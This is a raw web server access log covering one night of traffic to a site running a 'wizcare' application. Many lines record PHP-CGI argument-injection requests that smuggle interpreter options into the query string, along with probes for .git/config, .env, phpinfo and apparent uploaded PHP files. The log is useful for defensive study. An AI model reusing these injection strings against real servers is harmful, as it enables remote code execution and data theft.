[26/Nov/2024:19:55:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:20:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:20:14:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:20:14:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/4f3.png HTTP/1.1" 67320
[26/Nov/2024:20:15:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:20:36:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:20:57:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:20:59:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/wsc/icons/hidpi/spellchecker.png HTTP/1.1" 2816
[26/Nov/2024:21:00:27 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:21:01:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[26/Nov/2024:21:05:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:21:05:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:21:05:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:21:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:21:05:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/123.php HTTP/1.1" -
[26/Nov/2024:21:06:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:21:06:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:21:06:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:21:06:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[26/Nov/2024:21:06:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:21:10:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[26/Nov/2024:21:16:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:21:21:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/dept8-1.jpg HTTP/1.1" 162270
[26/Nov/2024:21:21:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:21:21:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:21:35:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:21:44:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/combo_arrow.png HTTP/1.1" 117
[26/Nov/2024:21:56:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?ejentsbobet-news-jzdiotwgpnid-28732 HTTP/1.1" -
[26/Nov/2024:22:06:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/e4.png HTTP/1.1" 93021
[26/Nov/2024:22:16:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:22:35:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:22:35:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:22:35:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:22:38:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:22:38:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:22:38:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/index.html HTTP/1.1" 305
[26/Nov/2024:22:51:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:22:51:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:22:51:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/menua/images/hero_3.jpg HTTP/1.1" 378707
[26/Nov/2024:22:55:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:23:06:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[26/Nov/2024:23:15:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:23:20:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:23:24:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:23:35:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.0" 115
[26/Nov/2024:23:35:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /sdk HTTP/1.1" 300
[26/Nov/2024:23:35:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /odinhttpcall1732635312 HTTP/1.1" 300
[26/Nov/2024:23:35:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /HNAP1 HTTP/1.1" 300
[26/Nov/2024:23:35:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /evox/about HTTP/1.1" 300
[26/Nov/2024:23:35:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.0" 115
[26/Nov/2024:23:35:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:23:35:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:23:35:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:23:35:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:23:35:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:23:35:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:23:35:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[26/Nov/2024:23:35:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:23:35:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:23:35:19 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:23:35:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:23:36:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/old/assets/inlineall/logo.png HTTP/1.1" 4283
[26/Nov/2024:23:38:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1" 332
[26/Nov/2024:23:50:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_div.png HTTP/1.1" 127
[26/Nov/2024:23:54:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:00:12:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:00:12:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:00:12:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/configure-use-tomcat.html HTTP/1.1" 305
[27/Nov/2024:00:15:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:00:31:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:00:31:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:00:32:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/datagrid_icons.png HTTP/1.1" 307
[27/Nov/2024:00:34:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:00:45:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/calendar_arrows.png HTTP/1.1" 173
[27/Nov/2024:00:58:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 305
[27/Nov/2024:00:59:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-5.jpg HTTP/1.1" 17733
[27/Nov/2024:01:11:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:01:13:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/ba8780a819454adcca5146d959f78c4b.php.jpg HTTP/1.1" 674
[27/Nov/2024:01:14:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:01:27:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-16.jpg HTTP/1.1" 126075
[27/Nov/2024:01:33:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:01:41:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/loading.gif HTTP/1.1" 1737
[27/Nov/2024:01:41:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:01:41:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:01:41:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:01:41:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:01:41:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/use-php-fcgi.html HTTP/1.1" 305
[27/Nov/2024:01:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:01:57:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:01:57:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/howto.html HTTP/1.1" 305
[27/Nov/2024:02:08:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/slider_handle.png HTTP/1.1" 863
[27/Nov/2024:02:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:02:22:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_blockquote.png HTTP/1.1" 154
[27/Nov/2024:02:33:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:02:36:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/menua/images/hero_1.jpg HTTP/1.1" 475413
[27/Nov/2024:02:50:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/linkbutton_bg.png HTTP/1.1" 1274
[27/Nov/2024:02:50:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:02:50:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:03:04:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-6.jpg HTTP/1.1" 14717
[27/Nov/2024:03:14:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:03:16:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:03:18:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-10.jpg HTTP/1.1" 164192
[27/Nov/2024:03:22:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/t.php.bak HTTP/1.1" -
[27/Nov/2024:03:31:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/tabs_icons.png HTTP/1.1" 150
[27/Nov/2024:03:33:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:03:43:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:03:45:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h3.png HTTP/1.1" 123
[27/Nov/2024:03:47:42 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:03:54:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:03:57:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/hidpi/refresh.png HTTP/1.1" 1623
[27/Nov/2024:03:57:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:03:57:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:04:08:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/arrow.png HTTP/1.1" 191
[27/Nov/2024:04:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:04:19:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/layout_arrows.png HTTP/1.1" 319
[27/Nov/2024:04:33:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:04:53:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/icons_hidpi.png HTTP/1.1" 67753
[27/Nov/2024:04:53:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:04:57:50 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:04:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/blank.gif HTTP/1.1" 43
[27/Nov/2024:05:04:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:05:04:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:05:05:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:05:06:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:05:06:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:05:06:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[27/Nov/2024:05:06:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:05:14:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:05:22:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:05:27:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/menu_arrows.png HTTP/1.1" 160
[27/Nov/2024:05:33:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:05:38:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/build2.jpg HTTP/1.1" 25328
[27/Nov/2024:05:48:26 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:27 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:29 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:30 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:31 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:32 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:33 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:34 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:35 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:36 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:37 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:37 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:39 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:39 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:40 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:42 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:42 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:43 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:44 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:44 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:46 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:46 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:48 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:50 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:51 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:52 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:52 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:53 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:55 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:55 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:56 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:48:58 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:49:00 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:49:01 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:49:03 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:54:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:05:59:44 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:05:59:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[27/Nov/2024:06:03:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 305
[27/Nov/2024:06:12:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/panel_tools.png HTTP/1.1" 194
